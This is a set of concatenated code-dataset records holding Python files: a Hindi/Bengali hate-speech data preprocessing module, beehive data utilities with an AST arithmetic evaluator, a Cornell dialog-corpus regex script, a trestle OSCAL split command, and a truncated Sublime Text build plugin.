(pd.DataFrame): The dataframe representation of the file in the path given. \n\t\"\"\"\n\n\t# storing the file as a list of strings after splitting it.\n\twith open(file_path, \"r\", encoding=\"utf-8\") as file:\n\t\tdata = file.read().split(\"\\n\")\n \n\tdata = [line.split(\"\\t\") for line in data]\n\n\t# Converting the file to a pandas dataframe.\n\theader = data.pop(0)\n\tdf = pd.DataFrame(data, columns=header)\n\n\t# Converting hate and offensive content label to 0 and the other label to 1.\n\tsentiment_map = {'HOF': 1, 'NOT': 0}\n\tdf['task_1'] = df['task_1'].apply(lambda x : sentiment_map[x])\n\treturn df\n\n\ndef read_dataset_bengali(file_path, HOF_hindi=2400, NOT_hindi=2000):\n\t\"\"\"Read the dataset from the Bengali file path, and makes the label distribution in it similar to the Hindi dataset.\n\t\t\n\tArgs:\n\t\tfile_path (str): Path to the text file which we will read.\n\t\tHOF_hindi (int): The approximate count of the hate and offensive content in the Hindi dataset.\n\t\tNOT_hindi (int): The approximate count of not hate content in the Hindi dataset.\n\n\tReturns:\n\t\tdf (pd.DataFrame): The dataframe representation of the file in the path given. \n\t\"\"\"\t\n\n\t# Read the file in a pandas dataframe.\n\tdf = pd.read_csv(file_path, encoding=\"utf-8\")\n\n\t# Make the data size same as that of the Hindi Dataset for the hate type.\n\tdf_hate = df[df[\"hate\"] == 1].sample(n=HOF_hindi, random_state=200).reset_index(drop=True)\n\n\t# Make the data size same as that of the Hindi Dataset for the non-hate type\n\tdf_non_hate = df[df[\"hate\"] == 0].sample(n=NOT_hindi, random_state=200).reset_index(drop=True)\n\n\t# Concatenate the dataframes together for the portions corresponding to the hate and non hate splits.\n\tdf = df_hate.append(df_non_hate, ignore_index=True)\n\tdf.reset_index(drop=True, inplace=True)\n\n\t# Make the columns names same as that of the hindi dataset to make the other methods consistent.\n\tdf.columns = [\"text\", \"task_1\", \"category\"]\n\treturn df\n\n\ndef clean_text(txt, regex_lst, RE_EMOJI, stopwords_hindi):\n\t\"\"\"This function takes the regular expression for various things such as punctuations and all which we want to remove and returns the cleaned sentence.\n\t\t\t\n\tArgs:\n\t\ttxt (str): Sentence which we have to clean.\n\t\tregex_lst (List[re]): List of all the regular expressions according to whom we have to clean the data.\n\t\tRE_EMOJI (re): The regular expression for the emojis removal.\n\t\tstopwords_hindi (List[str]): List of stopwords in Hindi Language\n\t\t\t\n\tReturns:\n\t\tstr_cleaned (str): The cleaned sentence.\n\t\"\"\"\n\t \n\tstr_cleaned = txt\n\n\t# Iterate over the list of regular expressions. \n\tfor regex in regex_lst:\n\t\tstr_cleaned = re.sub(regex, '', str_cleaned)\n\tstr_cleaned = RE_EMOJI.sub(r'', str_cleaned)\n\n\tsent_splitted = str_cleaned.split()\n\n\t# Do not add the word to the list if it is in the stopwords.\n\tstr_cleaned = \" \".join([x.lower() for x in sent_splitted if x not in stopwords_hindi])\n\treturn str_cleaned\n\n\ndef clean_data_and_remove_stopwords(df, stopwords_file_path):\n\t\"\"\"Cleans the data and removes the stopwords from the data file.\n\n\tArgs:\n\t\tdf (pd.DataFrame): The dataframe containing our data.\n\t\tstopwords_file_path (str): The path of the file containing the stopwords.\n\n\tReturns:\n\t\tdf (pd.DataFrame): The cleaned dataframe with the stopwords removed.\n\t\"\"\"\n\n\t# For removing the emojis\n\tRE_EMOJI = re.compile('[\\U00010000-\\U0010ffff]', flags=re.UNICODE)\n\tregex_lst = [\"@[\\w]+\", # removing the words with @ symbols\n \"#[\\w]+\" , # removing the hashtags with the full words which have hashtags\n r\"http\\S+\", # removing the urls\n r\"[\\\\.,\\/#!$%\\^&\\*;:{}\\।=\\-_`~()\\?]\", # removing the punctuations.\n r\"[0-9]\", # Also remove the numbers\n r\"[a-zA-Z]\"] # Also, remove the characters\n\n\n\t# Reading the file containing the stopwords.\n\twith open(stopwords_file_path, \"r\") as f:\n\t\tcontent = f.readlines()\n\n\t# Store the stopwords in a list\n\tstopwords_hindi = [x.strip() for x in content]\n\n # Getting the sentences from the dataframe which we have to clean.\n\tsentences = df['text'].values\n\tcleaned_sentences = []\n\n\t# For each of the sentence, do the regular expressions based data cleaning and add it to the cleaned sentences list.\n\tfor sent in sentences:\n\t\tcleaned_sentences.append(clean_text(sent, regex_lst, RE_EMOJI, stopwords_hindi))\n\n\tdf[\"text\"] = cleaned_sentences\n\n\t# Removing the sentences where we have one or less than one word.\n\tindices_to_drop = []\n\tfor i, item in enumerate(df[\"text\"].values):\n\t\tif len(item.split()) <= 1:\n\t\t\tindices_to_drop.append(i)\n\n\t# Dropping the indices for the sentences which have one or less than one word.\n\tdf.drop(df.index[indices_to_drop], inplace=True)\n\tdf.reset_index(inplace=True, drop=True)\n\n\treturn df\n\n\ndef get_splits(df, percentage=0.15):\n\t\"\"\"Get the train, validation and test split from the dataframe. The ratio is 70:15:15\n\n\tArgs:\n\t\tdf (pd.DataFrame): The dataframe which we want to split into train, test and validation sets.\n\t\tpercentage (float): The percentage of data we want in the testing and validation sets. Default: 0.15\n\n\tReturns:\n\t\tdf_train (pd.DataFrame): The training portion of the dataframe.\n\t\tdf_val (pd.DataFrame): The portion of the dataframe used for validation.\n\t\tdf_test (pd.DataFrame): The portion of the dataframe used for testing our model.\n\t\"\"\"\n\n\t# Create the train and test dataframe from the original dataframe.\n\tdf_train, df_test = train_test_split(df, test_size=percentage, random_state=400, stratify=df[[\"task_1\"]])\n\tdf_train.reset_index(drop=True, inplace=True)\n\tdf_test.reset_index(drop=True, inplace=True)\n\n\t# Create the validation and subsetted train dataframe from the train dataframe.\n\tdf_train, df_val = train_test_split(df_train, test_size=(percentage/(1-percentage)), random_state=500, stratify=df_train[[\"task_1\"]])\n\tdf_train.reset_index(drop=True, inplace=True)\n\tdf_val.reset_index(drop=True, inplace=True)\n\n\treturn df_train, df_val, df_test\n\n\ndef get_vocab(df_train):\n\t\"\"\"Get the vocabulary from the training data.\n\n\tArgs:\n\t\tdf_train (pd.DataFrame): The Dataframe containing the training dataset.\n\n\tReturns:\n\t\tword2idx (Dict): Mapping of the words to indices for the words in the dataset.\n\t\tidx2word (Dict): Mapping from indices to words for the words in the dataset.\n\t\"\"\"\n\n\t# Get all the words in the corpus even if they are repeated.\n\tall_words = []\n\tfor sent in df_train[\"text\"]:\n\t\tfor token in sent.split():\n\t\t\tall_words.append(token)\n\n\t# Create a counter object for all the words\n\tword_counter = Counter(all_words)\n\n\t# Assign index 0 to passing and 1 to unknown words\n\tword2idx = {'_PAD': 0, '_UNK': 1}\n\n\t# COnvert from words to indices.\n\tword2idx.update({word: i+2 for i, (word, count) in enumerate(word_counter.items())})\n\n\t# COnvert from indices to words.\n\tidx2word = {idx: word for word, idx in word2idx.items()}\n\t \n\treturn word2idx, idx2word\n\n\ndef convert_to_index(word2idx, sent):\n\t\"\"\"Converts the words in a sentence to the corresponding indices.\n\t\n\tArgs:\n\t\tword2idx (Dict): Mapping of the words to indices for the words in the dataset.\n\t\tsent (str): The sentence whose indiced representation we want.\n\n\tReturns:\n\t\trepresentation_indices (List[int]): List containing the indices for the words in the sentence according to our vocabulary.\n\t\"\"\"\n\n\t# Convert sentence word by word in the corrresponding indices. Keep word as UNK if it is not in the vocab.\n\trepresentation_indices = [word2idx.get(str(token), 1) for token in sent.split()]\n\treturn representation_indices\n\n\nclass TextDataset(Dataset):\n\t\"\"\"Class for representing the text dataset\"\"\"\n\tdef __init__(self, df, word2idx):\n\t\t\"\"\" Constructor for the TextDataset class.\n\n\t\tArgs:\n\t\t\tdf (pd.DataFrame): The dataframe for which we want the indices and the labels.\n\t\t\tword2idx (Dict): The dictionary for mapping the words to the corresponding indices.\n\t\t\"\"\"\n\n\t\tself.df = df\n\t\t\n\t\t# COnvert each of the sentence to its corresponding indices and add to the list.\n\t\tindices_sentences = []\n\t\tfor sent in self.df[\"text\"].values:\n\t\t\tindices_sentences.append(convert_to_index(word2idx, sent))\n\t\tself.df[\"text_indices\"] = indices_sentences\n\n\tdef __len__(self):\n\t\t\"\"\"Magic method for the len() function\"\"\"\n\t\t\n\t\treturn self.df.shape[0]\n\n\tdef __getitem__(self, idx):\n\t\t\"\"\" Magic method for getting items at specific index from the dataset.\n\n\t\tArgs:\n\t\t\tidx (int): The index for the data which we want to get.\n\n\t\tReturns:\n\t\t\tx (List[int]): The list of word indices for a particular sentence.\n\t\t\ty (int): The output index corresponding to a particular sentence.\n\t\t\"\"\"\n\t\t\n\t\tx = self.df.text_indices[idx]\n\t\ty = self.df.task_1[idx]\n\t\t\n\t\treturn x, y\n\n\ndef pad_collate(batch):\n\t\"\"\"This function does zero padding of the batch according to the maximum length of the sequence in the batch. \n\n\tArgs:\n\t\tbatch (List[tuple]): Contains the sentences indices along with the label.\n\n\tReturns:\n\t\tpadded_sents (torch.Tensor): The zero padded sentences.\n\t\tys (torch.Tensor): The y labels for the dataset.\n\t\tx_lens (List[int]): The original lengths of the sentences before padding.\n\t\"\"\"\n\n\t(xs, ys) = zip(*batch)\n\n\t# Find the lengths of each of the sentences.\n\tx_lens = [len(x) for x in xs]\n\n\t# Create a matrix of all zeros\n\tpadded_sents = torch.zeros(len(batch), max(x_lens)).long()\n\n\t# Add the sentences indices in the matrix. This will leave the leftover elements in the sentences as zero leading to zero padding.\n\tfor i, (x, y) in enumerate(batch):\n\t\tpadded_sents[i, :x_lens[i]] = torch.LongTensor(x)\n\n\treturn padded_sents, torch.tensor(ys).float(), x_lens\n\n\ndef get_dataloaders(df_train, df_val, df_test, word2idx, batch_size=16):\n\t\"\"\"Returns the data loaders for the train, validation and the test data\n\n\tArgs:\n\t\tdf_train (pd.DataFrame): The dataframe containing the training data.\n\t\tdf_val (pd.DataFrame): The dataframe containing the validation data.\n\t\tdf_test (pd.DataFrame): The dataframe containing the test data.\n\t\tword2idx (Dict): The words to indices mapping dictionary.\n\t\tbatch_size (int): The batch size with which we want to feed elements to our model. Default: 16\n\n\tReturns:\n\t\ttrain_loader (torch.util.data.DataLoader): Dataloader for the training data.\n\t\tval_loader (torch.util.data.DataLoader): Dataloader for the validation data.\n\t\ttest_loader (torch.util.data.DataLoader): Dataloader for the test data.\n\t\"\"\"\n\n\t# Creating an object of TextDataset class for the training dataset.\n\ttrain_dataset = TextDataset(df_train, word2idx)\n\n\t# Creating an object of TextDataset class for the training dataset.\n\tval_dataset = TextDataset(df_val, word2idx)\n\n\t# Creating an object of TextDataset class for the training dataset.\n\ttest_dataset = TextDataset(df_test, word2idx)\n\n\t# Creating Dataloaders for the train, test and validation data.\n\ttrain_loader = DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True, collate_fn=pad_collate)\n\tval_loader = DataLoader(dataset=val_dataset, batch_size=batch_size, collate_fn=pad_collate)\n\ttest_loader = DataLoader(dataset=test_dataset, batch_size=batch_size, collate_fn=pad_collate)\n\n\treturn train_loader, val_loader, test_loader\n","sub_path":"src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":11385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"530837106","text":"import re\nimport ast\nimport operator as op\n\n# supported operators\nclass SafeEval:\n\tdef __init__(self):\n\t\tself.operators = {\n\t\t\tast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n\t\t\tast.Div: op.truediv, ast.Pow: op.pow, ast.BitXor: op.xor\n\t\t}\n\n\tdef eval(self, expr, vars={}):\n\t\tself.vars = vars\n\t\treturn self.__eval__(ast.parse(expr).body[0].value)\n\n\tdef __eval__(self, node):\n\t\t# \n\t\tif isinstance(node, ast.Num):\n\t\t\treturn node.n\n\t\t# \n\t\telif isinstance(node, ast.operator):\n\t\t\treturn self.operators[type(node)]\n\t\t# \n\t\telif isinstance(node, ast.BinOp):\n\t\t\treturn self.__eval__(node.op)(self.__eval__(node.left), self.__eval__(node.right))\n\t\telif isinstance(node, ast.Name):\n\t\t\ttry:\n\t\t\t return self.vars[node.id]\n\t\t\texcept KeyError:\n\t\t\t raise TypeError('Node name \\'%s\\' does not exist!' % (node.id, ))\n\t\telse:\n\t\t\traise TypeError(node)\n\ndef parse_hive_data(data, hive):\n\t# Variables are separated by ';' in 'data' string\n\ttry:\n\t\tdata = data.split(';')\n\texcept AttributeError:\n\t\traise AttributeError\n\n\t# Get variables assigned to this hive\n\thive_vars = hive.get_variables()\n\n\t# Test, if data contains all variables for this hive\n\tif len(data) != len(hive_vars):\n\t\traise AttributeError\n\n\t# Parse every variable in 'data'\n\tregex = re.compile('(?P[A-Z]{1,3}):\\s*(?P[\\d\\.-]+)')\n\tcleaned_data = {}\n\tfor d in data:\n\t\ttry:\n\t\t\tr = regex.search(d)\n\t\t\ttmp = r.groupdict()\n\t\t\tcleaned_data[tmp['key']] = tmp['value']\n\t\texcept AttributeError:\n\t\t\traise AttributeError\n\n\t# Check if hive has this variable and if variable has right type\n\tfor k, v in hive_vars.iteritems():\n\t\ttry:\n\t\t\tif v == 'IT':\n\t\t\t\tcleaned_data[k] = int(cleaned_data[k])\n\t\t\telif v == 'FT':\n\t\t\t\tcleaned_data[k] = float(cleaned_data[k])\n\t\t\telse:\n\t\t\t\traise AttributeError\n\t\texcept KeyError:\n\t\t\traise AttributeError\n\t\n\treturn cleaned_data\n\ndef hive_data_to_numbers():\n\tfrom hive.models import HiveData\n\thds = HiveData.objects.all()\n\tfor hd in hds:\n\t\tdata = hd.data\n\t\tfor k, v in data.items():\n\t\t if type(v) != type(u''):\n\t\t continue\n\n\t\t try:\n\t\t v = int(v)\n\t\t except ValueError:\n\t\t try:\n\t\t v = float(v)\n\t\t except ValueError:\n\t\t pass\n\t\t data[k] = v\n\t\thd.data = data\n\t\thd.save()\n","sub_path":"hive/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"25770775","text":"import pandas as pd\nimport re\nfile = open('Cornell Dataset/cornell movie-dialogs corpus/movie_lines.txt').readlines()\n\nexample = file[145]\nprint(example)\n\nline_id = re.findall('L\\d{1,10}',example)\nprint(line_id)\n\nchar_id = re.findall('u\\d',example)\nprint(char_id)\n\nmovie_id = re.findall('m\\d',example)\nprint(movie_id)\n\nchar_name = re.findall('[A-Z][A-Z][A-Z]*',example)\nprint(char_name)\n\nchar_lines = re.findall('[A-Z][^\\d].{1,len(char_name)+1}',example)\nprint(char_lines)","sub_path":"Cornell/Chatbot.py","file_name":"Chatbot.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"125088446","text":"# -*- mode:python; coding:utf-8 -*-\n\n# Copyright (c) 2020 IBM Corp. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Trestle Split Command.\"\"\"\nimport argparse\nimport logging\nimport pathlib\nfrom typing import Dict, List\n\nfrom ilcli import Command\n\nimport trestle.utils.log as log\nfrom trestle.core import const\nfrom trestle.core import utils\nfrom trestle.core.base_model import OscalBaseModel\nfrom trestle.core.commands import cmd_utils\nfrom trestle.core.err import TrestleError\nfrom trestle.core.models.actions import Action, CreatePathAction, WriteFileAction\nfrom trestle.core.models.elements import Element, ElementPath\nfrom trestle.core.models.file_content_type import FileContentType\nfrom trestle.core.models.plans import Plan\nfrom trestle.utils import fs, trash\n\nlogger = logging.getLogger(__name__)\n\n\nclass SplitCmd(Command):\n \"\"\"Split subcomponents on a trestle model.\"\"\"\n\n name = 'split'\n\n def _init_arguments(self) -> None:\n self.add_argument(\n f'-{const.ARG_FILE_SHORT}',\n f'--{const.ARG_FILE}',\n help=const.ARG_DESC_FILE + ' to split.',\n )\n self.add_argument(\n f'-{const.ARG_ELEMENT_SHORT}',\n f'--{const.ARG_ELEMENT}',\n help=const.ARG_DESC_ELEMENT + ' to split.',\n )\n\n def _run(self, args: argparse.Namespace) -> int:\n \"\"\"Split an OSCAL file into elements.\"\"\"\n logger.debug('Entering trestle split.')\n log.set_log_level_from_args(args)\n # get the Model\n args_raw = args.__dict__\n if args_raw[const.ARG_FILE] is None:\n logger.error(f'Argument \"-{const.ARG_FILE_SHORT}\" is required')\n return 1\n\n file_path = pathlib.Path(args_raw[const.ARG_FILE])\n if not file_path.exists():\n logger.error(f'File {file_path} does not exist.')\n return 1\n content_type = FileContentType.to_content_type(file_path.suffix)\n\n # find the base directory of the file\n file_absolute_path = pathlib.Path(file_path.absolute())\n base_dir = file_absolute_path.parent\n\n model_type, _ = fs.get_stripped_contextual_model(file_absolute_path)\n\n # FIXME: Handle list/dicts\n model: OscalBaseModel = model_type.oscal_read(file_path)\n\n element_paths: List[ElementPath] = cmd_utils.parse_element_args(args_raw[const.ARG_ELEMENT].split(','))\n\n split_plan = self.split_model(\n model, element_paths, base_dir, content_type, root_file_name=args_raw[const.ARG_FILE]\n )\n\n # Simulate the plan\n # if it fails, it would throw errors and get out of this command\n split_plan.simulate()\n\n # If we are here then simulation passed\n # so move the original file to the trash\n trash.store(file_path, True)\n\n # execute the plan\n split_plan.execute()\n return 0\n\n @classmethod\n def prepare_sub_model_split_actions(\n cls,\n sub_model_item: OscalBaseModel,\n sub_model_dir: pathlib.Path,\n file_prefix: str,\n content_type: FileContentType\n ) -> List[Action]:\n \"\"\"Create split actions of sub model.\"\"\"\n actions: List[Action] = []\n file_name = cmd_utils.to_model_file_name(sub_model_item, file_prefix, content_type)\n model_type = utils.classname_to_alias(type(sub_model_item).__name__, 'json')\n sub_model_file = sub_model_dir / file_name\n actions.append(CreatePathAction(sub_model_file))\n actions.append(WriteFileAction(sub_model_file, Element(sub_model_item, model_type), content_type))\n return actions\n\n @classmethod\n def split_model_at_path_chain(\n cls,\n model_obj: OscalBaseModel,\n element_paths: List[ElementPath],\n base_dir: pathlib.Path,\n content_type: FileContentType,\n cur_path_index: int,\n split_plan: Plan,\n strip_root: bool,\n root_file_name: str = ''\n ) -> int:\n \"\"\"Recursively split the model at the provided chain of element paths.\n\n It assumes that a chain of element paths starts at the cur_path_index with the first path ending\n with a wildcard (*)\n\n It returns the index where the chain of path ends.\n\n For example, element paths could have a list of paths as below for a `TargetDefinition` model where\n the first path is the start of the chain.\n\n For each of the sub model described by the first element path (e.g target-defintion.targets.*) in the chain,\n the subsequent paths (e.g. target.target-control-implementations.*) will be applied recursively to retrieve\n the sub-sub models:\n [\n 'target-definition.targets.*',\n 'target.target-control-implementations.*'\n ]\n for a command like below:\n trestle split -f target.yaml -e target-definition.targets.*.target-control-implementations.*\n \"\"\"\n # assume we ran the command below:\n # trestle split -f target.yaml -e target-definition.targets.*.target-control-implementations.*\n\n if split_plan is None:\n raise TrestleError('Split plan must have been initialized')\n\n if cur_path_index < 0:\n raise TrestleError('Current index of the chain of paths cannot be less than 0')\n\n # if there are no more element_paths, return the current plan\n if cur_path_index >= len(element_paths):\n return cur_path_index\n\n # initialize local variables\n element = Element(model_obj)\n stripped_field_alias = []\n\n # get the sub_model specified by the element_path of this round\n element_path = element_paths[cur_path_index]\n is_parent = cur_path_index + 1 < len(element_paths) and element_paths[cur_path_index\n + 1].get_parent() == element_path\n\n # root dir name for sub models dir\n # 00000__group.json will have the root_dir name as 00000__group for sub models of group\n # catalog.json will have the root_dir name as catalog sub models\n root_dir = ''\n if root_file_name != '':\n root_dir = pathlib.Path(root_file_name).stem\n\n # check that the path is not multiple level deep\n path_parts = element_path.get()\n if path_parts[-1] == ElementPath.WILDCARD:\n path_parts = path_parts[:-1]\n\n if len(path_parts) > 2:\n msg = 'Trestle supports split of first level children only, '\n msg += f'found path \"{element_path}\" with level = {len(path_parts)}'\n raise TrestleError(msg)\n\n sub_models = element.get_at(element_path, False) # we call sub_models as in plural, but it can be just one\n if sub_models is None:\n return cur_path_index\n\n # assume cur_path_index is the end of the chain\n # value of this variable may change during recursive split of the sub-models below\n path_chain_end = cur_path_index\n\n # if wildcard is present in the element_path and the next path in the chain has current path as the parent,\n # we need to split recursively and create separate file for each sub item\n # for example, in the first round we get the `targets` using the path `target-definition.targets.*`\n # so, now we need to split each of the target recursively. Note that target is an instance of dict\n # However, there can be other sub_model, which is of type list\n if is_parent and element_path.get_last() is not ElementPath.WILDCARD:\n # create dir for all sub model items\n sub_models_dir = base_dir / element_path.to_root_path()\n sub_model_plan = Plan()\n path_chain_end = cls.split_model_at_path_chain(\n sub_models, element_paths, sub_models_dir, content_type, cur_path_index + 1, sub_model_plan, True\n )\n sub_model_actions = sub_model_plan.get_actions()\n split_plan.add_actions(sub_model_actions)\n elif element_path.get_last() == ElementPath.WILDCARD:\n # extract sub-models into a dict with appropriate prefix\n sub_model_items: Dict[str, OscalBaseModel] = {}\n sub_models_dir = base_dir / element_path.to_file_path(root_dir=root_dir)\n if isinstance(sub_models, list):\n for i, sub_model_item in enumerate(sub_models):\n # e.g. `groups/00000_groups/`\n prefix = str(i).zfill(const.FILE_DIGIT_PREFIX_LENGTH)\n sub_model_items[prefix] = sub_model_item\n elif isinstance(sub_models, dict):\n # prefix is the key of the dict\n sub_model_items = sub_models\n else:\n # unexpected sub model type for multi-level split with wildcard\n raise TrestleError(f'Sub element at {element_path} is not of type list or dict for further split')\n\n # process list sub model items\n for key in sub_model_items:\n prefix = key\n sub_model_item = sub_model_items[key]\n\n # recursively split the sub-model if there are more element paths to traverse\n # e.g. split target.target-control-implementations.*\n require_recursive_split = cur_path_index + 1 < len(element_paths) and element_paths[\n cur_path_index + 1].get_parent() == element_path\n\n if require_recursive_split:\n # prepare individual directory for each sub-model\n # e.g. `targets/__target/`\n sub_root_file_name = cmd_utils.to_model_file_name(sub_model_item, prefix, content_type)\n sub_model_plan = Plan()\n\n path_chain_end = cls.split_model_at_path_chain(\n sub_model_item,\n element_paths,\n sub_models_dir,\n content_type,\n cur_path_index + 1,\n sub_model_plan,\n True,\n sub_root_file_name\n )\n sub_model_actions = sub_model_plan.get_actions()\n else:\n sub_model_actions = cls.prepare_sub_model_split_actions(\n sub_model_item, sub_models_dir, prefix, content_type\n )\n\n split_plan.add_actions(sub_model_actions)\n else:\n # the chain of path ends at the current index.\n # so no recursive call. Let's just write the sub model to the file and get out\n sub_model_file = base_dir / element_path.to_file_path(content_type, root_dir=root_dir)\n split_plan.add_action(CreatePathAction(sub_model_file))\n split_plan.add_action(\n WriteFileAction(sub_model_file, Element(sub_models, element_path.get_element_name()), content_type)\n )\n\n # Strip the root model and add a WriteAction for the updated model object in the plan\n if strip_root:\n stripped_field_alias.append(element_path.get_element_name())\n stripped_root = model_obj.stripped_instance(stripped_fields_aliases=stripped_field_alias)\n # If it's an empty model after stripping the fields, don't create path and don't write\n if set(model_obj.__fields__.keys()) == set(stripped_field_alias):\n return path_chain_end\n\n if root_file_name != '':\n root_file = base_dir / root_file_name\n else:\n root_file = base_dir / element_path.to_root_path(content_type)\n\n split_plan.add_action(CreatePathAction(root_file))\n wrapper_alias = utils.classname_to_alias(stripped_root.__class__.__name__, 'json')\n split_plan.add_action(WriteFileAction(root_file, Element(stripped_root, wrapper_alias), content_type))\n\n # return the end of the current path chain\n return path_chain_end\n\n @classmethod\n def split_model(\n cls,\n model_obj: OscalBaseModel,\n element_paths: List[ElementPath],\n base_dir: pathlib.Path,\n content_type: FileContentType,\n root_file_name: str = ''\n ) -> Plan:\n \"\"\"Split the model at the provided element paths.\n\n It returns a plan for the operation\n \"\"\"\n # assume we ran the command below:\n # trestle split -f target.yaml\n # -e 'target-definition.metadata,\n # target-definition.targets.*.target-control-implementations.*'\n\n # initialize plan\n split_plan = Plan()\n\n # loop through the element path list and update the split_plan\n stripped_field_alias = []\n cur_path_index = 0\n while cur_path_index < len(element_paths):\n # extract the sub element name for each of the root path of the path chain\n element_path = element_paths[cur_path_index]\n\n if element_path.get_parent() is None and len(element_path.get()) > 1:\n stripped_part = element_path.get()[1]\n if stripped_part == ElementPath.WILDCARD:\n stripped_field_alias.append('__root__')\n else:\n stripped_field_alias.append(stripped_part)\n\n # split model at the path chain\n cur_path_index = cls.split_model_at_path_chain(\n model_obj, element_paths, base_dir, content_type, cur_path_index, split_plan, False, root_file_name\n )\n\n cur_path_index += 1\n\n # strip the root model object and add a WriteAction\n stripped_root = model_obj.stripped_instance(stripped_fields_aliases=stripped_field_alias)\n # If it's an empty model after stripping the fields, don't create path and don't write\n if set(model_obj.__fields__.keys()) == set(stripped_field_alias):\n return split_plan\n if root_file_name != '':\n root_file = base_dir / root_file_name\n else:\n root_file = base_dir / element_paths[0].to_root_path(content_type)\n split_plan.add_action(CreatePathAction(root_file, True))\n wrapper_alias = utils.classname_to_alias(stripped_root.__class__.__name__, 'json')\n split_plan.add_action(WriteFileAction(root_file, Element(stripped_root, wrapper_alias), content_type))\n\n return split_plan\n","sub_path":"trestle/core/commands/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":14922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"505440334","text":"\nimport sublime\nimport sublime_plugin\n\nimport datetime\nimport re\nimport threading\nimport time\n\nfrom runnerMocha import RunnerMocha\nfrom runnerNosetests import RunnerNosetests\n\nrunners = [ RunnerNosetests, RunnerMocha ]\noptions = sublime.load_settings('ContextBuild.sublime-settings')\n\nclass Build(object):\n last = None\n lock = threading.Lock()\n byWindow = {}\n viewIdToBuild = {}\n\n def __init__(self, window):\n self.window = window\n self.lastView = None\n self.thread = None\n self.hasBuilt = False\n self.runners = []\n for runner in runners:\n self.runners.append(runner(options, self))\n\n\n def abort(self):\n while self.thread:\n self.shouldStop = True\n time.sleep(0.1)\n\n\n @classmethod\n def abortBuildForView(cls, viewId):\n with cls.lock:\n build = cls.viewIdToBuild.get(viewId)\n # Release lock before aborting, since aborts require the lock.\n # Also run it in a new thread to prevent \"Slow plugin\" warnings.\n if build:\n t = threading.Thread(target = build.abort)\n t.start()\n\n\n def getRunnerForPath(self, path):\n \"\"\"Return the Runner instance that will handle path.\n \"\"\"\n runnerType = self._coalesceOption('context_build_runner')\n for r in self.runners:\n if r.__class__.__name__ == 'Runner' + runnerType.title():\n return r\n\n\n def run(self):\n \"\"\"Called in main thread, do the build.\"\"\"\n if self.thread:\n scheduler = threading.Thread(target = self._abortThenRun)\n scheduler.start()\n return\n\n currentUserView = self.window.active_view()\n\n if options.get('save_before_build'):\n for view in self.window.views():\n if view.is_dirty() and view.file_name() is not None:\n view.run_command(\"save\")\n\n newView = True\n if options.get('hide_last_build_on_new'):\n if self.lastView is None:\n # Plugin may have been reloaded, see if our window has any \n # other context builds that we should replace.\n viewNamePattern = \"^Build.*\\.context-build$\"\n for view in self.window.views():\n if (re.match(viewNamePattern, view.name()) is not None \n and self.window.get_view_index(view)[0] != -1):\n # This is an old build view from a previous invocation, \n # use it instead of creating a new one.\n self.lastView = view\n break\n\n if self.lastView is not None:\n self.outputPane = self.lastView\n edit = self.outputPane.begin_edit()\n self.outputPane.erase(edit, \n sublime.Region(0, self.outputPane.size()))\n self.outputPane.end_edit(edit)\n newView = False\n\n if newView:\n # Be sure to make the view for our output in the main thread, so\n # that we don't have issues with memory access in sublime.\n self.outputPane = self.window.new_file()\n self.lastView = self.outputPane\n self.viewId = self.outputPane.id()\n\n now = datetime.datetime.now()\n timeStr = now.strftime(\"%I:%M:%S%p-%d-%m-%Y\")\n buildName = \"Build-{0}.context-build\".format(timeStr)\n self.outputPane.set_scratch(True)\n self.outputPane.set_name(buildName)\n self.window.focus_view(self.outputPane)\n if currentUserView is not None:\n self.window.focus_view(currentUserView)\n\n with self.lock:\n self.viewIdToBuild[self.viewId] = self\n\n # Settings must be loaded in the main thread. Therefore, tell each\n # runner to cache its options for the impending build.\n for r in self.runners:\n r.cacheOptionsForBuild()\n\n self.shouldStop = False\n self.thread = threading.Thread(target = self._realRun)\n self.thread.daemon = True\n self.thread.start()\n \n\n def setupTests(self, paths = [], tests = []):\n madeView = None\n if self.window.active_view() is None:\n madeView = self.window.new_file()\n madeView.set_scratch(True)\n\n for r in self.runners:\n r.setupTests(paths = paths, tests = tests)\n\n if madeView is not None:\n self.window.run_command(\"close\")\n\n\n def useFailures(self):\n for r in self.runners:\n r.useFailures()\n\n\n def _abortThenRun(self):\n self.abort()\n sublime.set_timeout(self.run, 0)\n\n\n def _realRun(self):\n \"\"\"Called in a new thread. self.outputPane must already have been set \n to a new file in the main thread.\n \"\"\"\n try:\n self._doBuild()\n finally:\n sublime.set_timeout(self._cleanup, 0)\n\n\n def _cleanup(self):\n \"\"\"Take care of all of our variables; in a timeout so that other\n callbacks from during the build execute first.\n \"\"\"\n with self.lock:\n self.viewIdToBuild.pop(self.viewId)\n self.outputPane = None\n self.thread = None\n self.hasBuilt = True\n\n\n def _coalesceOption(self, name, default = ''):\n \"\"\"We want to use the project's overloaded settings if they're\n available for things like paths, but default to sane defaults\n specified in ContextBuild.sublime-settings.\n\n Must be called in main thread\n \"\"\"\n return self.window.active_view().settings().get(name,\n options.get(name, default))\n\n\n def _doBuild(self):\n \"\"\"The main method for the build thread\"\"\"\n for r in self.runners:\n r.runTests(self._writeOutput, self._shouldStop)\n def goToEnd():\n self.outputPane.show(self.outputPane.size())\n sublime.set_timeout(goToEnd, 0)\n\n\n\n def _shouldStop(self):\n return self.shouldStop\n\n\n def _writeOutput(self, text, end = '\\n'):\n cat = text + end\n # Print in sublime's main thread to not cause buffer issues\n def realPrint():\n visibleRegion = self.outputPane.visible_region()\n shouldKeepInView = (visibleRegion.begin() <= 